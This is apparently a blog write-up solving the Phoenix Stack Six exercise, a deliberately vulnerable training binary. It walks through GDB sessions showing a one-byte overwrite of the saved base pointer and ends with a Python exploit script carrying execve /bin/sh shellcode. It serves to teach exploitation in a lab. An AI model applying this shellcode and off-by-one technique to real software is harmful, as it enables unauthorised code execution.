DEV Community

loading...
Cover image for Phoenix Stack Six

Phoenix Stack Six

zuoshihua
coder | red teamer | ctf hardhitter
Updated on ・6 min read

Background

I solved a stack smashing challenge found in Exploit Education's Phoenix, namely Stack Six. I found it to be an interesting example of how just overwriting one byte can lead to RCE. We are given the following source code.

/*
 * phoenix/stack-six, by https://exploit.education
 *
 * Can you execve("/bin/sh", ...) ?
 *
 * Why do fungi have to pay double bus fares? Because they take up too
 * mushroom.
 */

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char *what = GREET;

char *greet(char *who) {
  char buffer[128];
  int maxSize;

  maxSize = strlen(who);
  if (maxSize > (sizeof(buffer) - /* ensure null termination */ 1)) {
    maxSize = sizeof(buffer) - 1;
  }

  strcpy(buffer, what);
  strncpy(buffer + strlen(buffer), who, maxSize);

  return strdup(buffer);
}

int main(int argc, char **argv) {
  char *ptr;
  printf("%s\n", BANNER);

#ifdef NEWARCH
  if (argv[1]) {
    what = argv[1];
  }
#endif

  ptr = getenv("ExploitEducation");
  if (NULL == ptr) {
    // This style of comparison prevents issues where you may accidentally
    // type if(ptr = NULL) {}..

    errx(1, "Please specify an environment variable called ExploitEducation");
  }

  printf("%s\n", greet(ptr));
  return 0;
}
Enter fullscreen mode Exit fullscreen mode

The bug

We pass input by setting the ExploitEducation environment variable. Then our input is seemingly bounds checked. If our input is longer than 127 bytes, only the first 127 bytes are copied into buffer.

However, notice the program does not account for the length of what. It blindly copies the contents of what into buffer before copying our input. This means we still can overflow the buffer! Let's try inputting 128 As.

user@phoenix-amd64:~$ export ExploitEducation=`python -c "print 'A' * 128"`
user@phoenix-amd64:~$
Enter fullscreen mode Exit fullscreen mode

Debug the program in GDB. I decide to set two breakpoints: at the prologue and epilogue of main. I also set another breakpoint after the the call to strncpy in greet.

gef➤  break *main
Breakpoint 1 at 0x40079b
gef➤  break *main + 91
Breakpoint 2 at 0x4007f7
gef➤  break *greet + 133
Breakpoint 3 at 0x400782
gef➤  run
Enter fullscreen mode Exit fullscreen mode

Right away we pause at the start of main. Let's find where our 128 As are. We know that our input is in an environment variable. GEF shows which registers are pointing to strings.

$rbx   : 0x00007fffffffe5e8  →  0x00007fffffffe7fa  →  "/opt/phoenix/amd64/stack-six"
$rdx   : 0x00007fffffffe5f8  →  0x00007fffffffe817  →  "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so[...]"
$rsi   : 0x00007fffffffe5e8  →  0x00007fffffffe7fa  →  "/opt/phoenix/amd64/stack-six"
Enter fullscreen mode Exit fullscreen mode

Immediately we see a familiar environment variable LS_COLORS. Let's dump some more strings from 0x00007fffffffe7fa onwards.

gef➤  x/40s 0x00007fffffffe7fa
0x7fffffffe7fa: "/opt/phoenix/amd64/stack-six"
💇
0x7fffffffeeb3: "COLUMNS=99"
0x7fffffffeebe: "MAIL=/var/mail/user"
0x7fffffffeed2: "SHELL=/bin/bash"
0x7fffffffeee2: "TERM=xterm-256color"
0x7fffffffeef6: "SHLVL=1"
0x7fffffffeefe: "ExploitEducation=", 'A' <repeats 128 times>
💇
Enter fullscreen mode Exit fullscreen mode

We've found our input. Note that our As start after the string "ExploitEducation=", which measures 17 bytes. GEF allows us to do some quick calculation.

gef➤  $ 0x7fffffffeefe+17
140737488350991
0x7fffffffef0f
0b11111111111111111111111111111111110111100001111
b'\x7f\xff\xff\xff\xef\x0f'
b'\x0f\xef\xff\xff\xff\x7f'
Enter fullscreen mode Exit fullscreen mode

If we now dump 128 characters from 0x7fffffffef0f we should see our As.

gef➤  x/128c 0x7fffffffef0f
0x7fffffffef0f: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffef17: 0x41    0x41    0x41    0x41    0x41 💇
Enter fullscreen mode Exit fullscreen mode

Perfect. We continue execution till we hit the breakpoint in greet. Let's examine the stack.

gef➤  continue
Continuing.
Welcome to phoenix/stack-six, brought to you by https://exploit.education
💇
gef➤  x/32gx $rsp
0x7fffffffe4b0: 0x00007ffff7ffc948  0x00007fffffffef0f
0x7fffffffe4c0: 0x2c656d6f636c6557  0x6c70206d61204920
0x7fffffffe4d0: 0x6f74206465736165  0x6f79207465656d20
0x7fffffffe4e0: 0x4141414141412075  0x4141414141414141
0x7fffffffe4f0: 0x4141414141414141  0x4141414141414141
💇
0x7fffffffe540: 0x4141414141414141  0x4141414141414141
0x7fffffffe550: 0x4141414141414141  0x4141414141414141
0x7fffffffe560: 0x00007fffffffe541  0x00000000004007e9
0x7fffffffe570: 0x00007fffffffe5e8  0x00000001ffffe5f8
0x7fffffffe580: 0x000000000040079b  0x00007fffffffef0f
0x7fffffffe590: 0x0000000000000001  0x00007ffff7d8fd62
0x7fffffffe5a0: 0x0000000000000000  0x00007fffffffe5e0
Enter fullscreen mode Exit fullscreen mode

We can see our As fill up the buffer nicely. Did we overwrite any pointers? Let's check the registers.

$rsp   : 0x00007fffffffe4b0  →  0x00007ffff7ffc948  →  "Welcome to phoenix/stack-six, brought to you by ht[...]"
$rbp   : 0x00007fffffffe560  →  0x00007fffffffe541  →  0x4141414141414141 ("AAAAAAAA"?)
$rsi   : 0x0
$rdi   : 0x00007fffffffe561  →  0xe900007fffffffe5
$rip   : 0x0000000000400782  →  <greet+133> lea rax, [rbp-0xa0]
Enter fullscreen mode Exit fullscreen mode

Woah! The rbp register is pointing to our As? And the least significant byte has a value of 0x41. Hmm... Let's rerun the program inputting just 126 As and one B. Debug the program setting the same breakpoints.

user@phoenix-amd64:~$ export ExploitEducation=`python -c "print 'A' * 126 + 'B'"`
user@phoenix-amd64:~$ gdb /opt/phoenix/amd64/stack-six
Enter fullscreen mode Exit fullscreen mode

Back to where we were just now, let's examine the stack.

gef➤  x/32gx $rsp
0x7fffffffe4b0: 0x00007ffff7ffc948  0x00007fffffffef10
0x7fffffffe4c0: 0x2c656d6f636c6557  0x6c70206d61204920
0x7fffffffe4d0: 0x6f74206465736165  0x6f79207465656d20
0x7fffffffe4e0: 0x4141414141412075  0x4141414141414141
0x7fffffffe4f0: 0x4141414141414141  0x4141414141414141
💇
0x7fffffffe540: 0x4141414141414141  0x4141414141414141
0x7fffffffe550: 0x4141414141414141  0x4141414141414141
0x7fffffffe560: 0x00007fffffffe542  0x00000000004007e9
0x7fffffffe570: 0x00007fffffffe5e8  0x00000001ffffe5f8
0x7fffffffe580: 0x000000000040079b  0x00007fffffffef10
0x7fffffffe590: 0x0000000000000001  0x00007ffff7d8fd62
0x7fffffffe5a0: 0x0000000000000000  0x00007fffffffe5e0
Enter fullscreen mode Exit fullscreen mode

We examine the registers and indeed, we can overwrite one byte of rbp.

$rsp   : 0x00007fffffffe4b0  →  0x00007ffff7ffc948  →  "Welcome to phoenix/stack-six, brought to you by ht[...]"
$rbp   : 0x00007fffffffe560  →  0x00007fffffffe542  →  0x4141414141414141 ("AAAAAAAA"?)
$rsi   : 0x0
$rdi   : 0x00007fffffffe561  →  0xe900007fffffffe5
$rip   : 0x0000000000400782  →  <greet+133> lea rax, [rbp-0xa0]
Enter fullscreen mode Exit fullscreen mode

How does this help us? If we look at the subsequent instructions, we see that a value is popped off the stack into rbp.

→    0x400782 <greet+133>      lea    rax, [rbp-0xa0]
     0x400789 <greet+140>      mov    rdi, rax
     0x40078c <greet+143>      call   0x400560 <strdup@plt>
     0x400791 <greet+148>      add    rsp, 0xa8
     0x400798 <greet+155>      pop    rbx
     0x400799 <greet+156>      pop    rbp
Enter fullscreen mode Exit fullscreen mode

We break at that instruction and realise that value has our B in it!

gef➤  break *greet + 156
Breakpoint 4 at 0x400799
gef➤  continue
💇
$rsp   : 0x00007fffffffe560  →  0x00007fffffffe542  →  0x4141414141414141 ("AAAAAAAA"?)
Enter fullscreen mode Exit fullscreen mode

Step over and we see rbp is indeed set to our corrupt value.

gef➤  ni
💇
$rbp   : 0x00007fffffffe542  →  0x4141414141414141 ("AAAAAAAA"?)
Enter fullscreen mode Exit fullscreen mode

We continue to our last breakpoint, a leave instruction in main. A leave achieves the same thing as

mov rsp, rbp
pop rbp
Enter fullscreen mode Exit fullscreen mode

First, rsp will be set to the value of rbp. This is their current state.

$rsp   : 0x00007fffffffe570  →  0x00007fffffffe5e8  →  0x00007fffffffe7fb  →  "/opt/phoenix/amd64/stack-six"
$rbp   : 0x00007fffffffe542  →  0x993400007ffff7ff
Enter fullscreen mode Exit fullscreen mode

Step over and we see rsp set to 0x00007fffffffe542 plus 8 (remember popping a value off the stack adds 8 to rsp).

$rsp   : 0x00007fffffffe54a  →  0x414100007ffff7db
$rbp   : 0x993400007ffff7ff
Enter fullscreen mode Exit fullscreen mode

What's the next instruction? That's right, a ret which is basically pop rip. Since rsp is pointing to some garbage value, we will segfault.

Plan of attack

Just by overwriting one byte, we redirected code execution. How can we use this to our advantage and pop a shell? First, we need to realise that by controlling the least significant byte, we only can overwrite rbp to point from 0x00007fffffffe500 to ff. We could point back into buffer but by the time we jump back, that stack frame would already be cleared.

But how about our environment variable? Its contents remain on the stack as long as we are still in the shell. Recall that greet takes one argument, a character pointer to our environment variable. We know that arguments passed to a function are stored after its return address.

https://en.wikipedia.org/wiki/Call_stack#/media/File:Call_stack_layout.svg

With our input of 128 As, the address we calculated was 0x7fffffffef0f. When we hit the breakpoint in greet and dump out the stack, we can clearly see that address stored on the stack at 0x7fffffffe588.

gef➤  continue
Continuing.
Welcome to phoenix/stack-six, brought to you by https://exploit.education
💇
gef➤  x/32gx $rsp
💇
0x7fffffffe540: 0x4141414141414141  0x4141414141414141
0x7fffffffe550: 0x4141414141414141  0x4141414141414141
0x7fffffffe560: 0x00007fffffffe541  0x00000000004007e9
0x7fffffffe570: 0x00007fffffffe5e8  0x00000001ffffe5f8
0x7fffffffe580: 0x000000000040079b  0x00007fffffffef0f
0x7fffffffe590: 0x0000000000000001  0x00007ffff7d8fd62
0x7fffffffe5a0: 0x0000000000000000  0x00007fffffffe5e0
Enter fullscreen mode Exit fullscreen mode

We have established that at before returning from main, rsp will be whatever rbp was plus 8. So subtracting 8 from 0x7fffffffe588 we will get 0x7fffffffe580. With our overflow, can we set rbp to be 0x7fffffffe580? Definitely, as it is within our range (0x7fffffffe500 to ff).

Exploitation

import struct

# execve /bin/sh - http://shell-storm.org/shellcode/files/shellcode-806.php 
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91"
shellcode += "\xd0\x8c\x97\xff\x48\xf7\xdb\x53"
shellcode += "\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" # 27 bytes

fake_rbp = "\x80"

payload = "\x90" * 50
payload += shellcode
payload += "A" * (127 - len(payload) - 1)
payload += fake_rbp

print payload
Enter fullscreen mode Exit fullscreen mode

When we debug the program with our payload we get a shell!

However, trying outside GDB we segfault 😢 Turns out GDB adds some environment variables and that affects the stack. To get a more accurate view of the stack, we run the following commands before running the program.

gef➤  unset env LINES
gef➤  unset env COLUMNS
gef➤  set env _ /opt/phoenix/amd64/stack-six
Enter fullscreen mode Exit fullscreen mode

Hit the breakpoint in greet and dump out the stack. Notice the addresses have changed.

gef➤  x/32gx $rsp
0x7fffffffe4d0: 0x00007ffff7ffc948  0x00007fffffffef10
0x7fffffffe4e0: 0x2c656d6f636c6557  0x6c70206d61204920
0x7fffffffe4f0: 0x6f74206465736165  0x6f79207465656d20
0x7fffffffe500: 0x9090909090902075  0x9090909090909090
0x7fffffffe510: 0x9090909090909090  0x9090909090909090
0x7fffffffe520: 0x9090909090909090  0x9090909090909090
0x7fffffffe530: 0xbb48c03190909090  0xff978cd091969dd1
0x7fffffffe540: 0x52995f5453dbf748  0x41050f3bb05e5457
0x7fffffffe550: 0x4141414141414141  0x4141414141414141
0x7fffffffe560: 0x4141414141414141  0x4141414141414141
0x7fffffffe570: 0x4141414141414141  0x4141414141414141
0x7fffffffe580: 0x00007fffffffe580  0x00000000004007e9
0x7fffffffe590: 0x00007fffffffe608  0x00000001ffffe618
0x7fffffffe5a0: 0x000000000040079b  0x00007fffffffef10
0x7fffffffe5b0: 0x0000000000000001  0x00007ffff7d8fd62
0x7fffffffe5c0: 0x0000000000000000  0x00007fffffffe600
Enter fullscreen mode Exit fullscreen mode

Update the least significant byte from 80 to a0 and we should be golden.

Discussion (0)